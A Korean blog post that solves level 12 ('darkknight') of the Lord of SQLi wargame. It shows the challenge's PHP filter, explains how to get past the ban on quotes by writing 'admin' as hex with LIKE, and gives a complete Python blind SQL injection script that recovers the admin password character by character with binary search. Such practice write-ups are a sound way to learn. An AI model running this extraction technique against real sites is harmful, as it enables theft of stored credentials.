[LOS] 12번 darkknight 풀이

2019. 8. 6. 19:46문제풀이/los.rubiya.kr

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

 

금지단어는 /prob _ . () ' substr ascii =

으로, '를 못쓴다는거...

 

하지만 대신 뒤에 no를 입력할 수 있게 됐다.

 

no를 이용하여 주어진 쿼리의 기본형식은 모두 거짓으로 만든 후 or로 검색하고자 하는 쿼리를 연결해줄 것이기 때문에

pw에는 아무것도 입력할 필요가 없다.

또한, no에는 '가 안붙어있으므로 주석처리할 필요가 없다!

 

그래서 이제 '가 필요한건 id='admin' 뿐인데, 이건 헥스코드로 우회할 수 있다.

말이 두서가 없지만... 어차피 이 글은 나 혼자 볼 것 같으니까..ㅎㅎ

 

결론은

 

 

이렇게 표현하면 '가 필요없다. (= 우회는 golem 문제 풀었던 것 처럼 like로 우회)

 

이후로는 golem과 같은 방법으로 코드를 돌리되, 문자 비교를 문자가 아닌 헥사코드로 해야한다.

즉, mid(pw1,1)<'d' 이런식으로 말구 mid(pw,1,1)<0x64 이런식으로!

 

또 대문자를 소문자로 바꿔주면

 

 

...더보기

 어차피 아무도 안 볼 블로그

import urllib.request

url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
headers = {}
headers['cookie']="_ga=GA1.2.1226254763.1564398556; PHPSESSID=e5rfcvppo3ae2lc432s361cmmk"
headers['User-Agent']="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"

#length

def find_leth():

    leth = 1

    while(1):
        lth_url = "?no=0+or+id+like+0x61646d696e+%26%26length(pw)<"+str(leth)+"--+"
        req = urllib.request.Request(url+lth_url, headers=headers)
        data = urllib.request.urlopen(req).read().decode('utf-8')


        if(data.find("Hello admin")==-1):
            leth+=1
        else:
            print(f'leth={leth-1}')
            return (leth-1)

def bin_search_num(i):

    front = 0
    end = 9

    while(front<=end):

        mid = int((front+end)/2)

        pw_mid = "?no=0+or+id+like+0x61646d696e+%26%26mid(pw,"+str(i)+",1)>"+str(mid)+"--+"
        pw_mid1 = "?no=0+or+id+like+0x61646d696e+%26%26mid(pw,"+str(i)+",1)>"+str(mid+1)+"--+"

        req = urllib.request.Request(url+pw_mid, headers=headers)
        data = urllib.request.urlopen(req).read().decode('utf-8')

        req1 = urllib.request.Request(url+pw_mid1, headers=headers)
        data1 = urllib.request.urlopen(req1).read().decode('utf-8')

        if((data.find("Hello admin")!=-1) and (data1.find("Hello admin")==-1)):
            print(f'{i}th key: {mid+1}')
            return str(mid+1)

        elif((data.find("Hello admin")!=-1) and (data1.find("Hello admin")!=-1)):
            #print(f'1 - i:{i}, front:{front}, end:{end}')
            front = mid+1
            continue

        elif((data.find("Hello admin")==-1) and (data1.find("Hello admin")==-1)):
            #print(f'2 - i:{i}, front:{front}, end:{end}')
            end = mid-1
            continue



def bin_search_ascii(i):

    front = 58
    end = 126

    while(front<=end):

        mid = int((front+end)/2)

        pw_mid = "?no=0||id+like+0x61646d696e+%26%26mid(pw,"+str(i)+",1)>"+str(hex(mid))
        pw_mid1 = "?no=0||id+like+0x61646d696e+%26%26mid(pw,"+str(i)+",1)>"+str(hex(mid+1))

        req = urllib.request.Request(url+pw_mid, headers=headers)
        data = urllib.request.urlopen(req).read().decode('utf-8')

        req1 = urllib.request.Request(url+pw_mid1, headers=headers)
        data1 = urllib.request.urlopen(req1).read().decode('utf-8')

        if((data.find("Hello admin")!=-1) and (data1.find("Hello admin")==-1)):
            print(f'{i}th key: {chr(mid+1)}')
            return chr(mid+1)

        elif((data.find("Hello admin")!=-1) and (data1.find("Hello admin")!=-1)):
            #print(f'ascii 1 - i:{i}, front:{front}, end:{end}')
            front = mid+1
            continue

        elif((data.find("Hello admin")==-1) and (data1.find("Hello admin")==-1)):
            #print(f'ascii 2 - i:{i}, front:{front}, end:{end}')
            end = mid-1
            continue


if __name__ == '__main__':

    leth = find_leth()
    ans = []

    for i in range(1,leth+1):

        ans.append(bin_search_num(i))

        if (ans[i-1]==None):

             ans[i-1] = bin_search_ascii(i)

        if(ans[i-1]==None):
            print(f'{i}th key: 0')
            ans[i-1] = '0'

    print('password is '+''.join(ans))

'문제풀이 > los.rubiya.kr' 카테고리의 다른 글

[LOS] 14번 giant 풀이  (0) 2019.08.07
[LOS] 13번 bugbear 풀이  (0) 2019.08.07
[LOS] 11번 Golem 풀이  (0) 2019.08.06
[LOS] 10번 skeleton 풀이  (0) 2019.07.31
[LOS] 9번 vampire 풀이  (0) 2019.07.31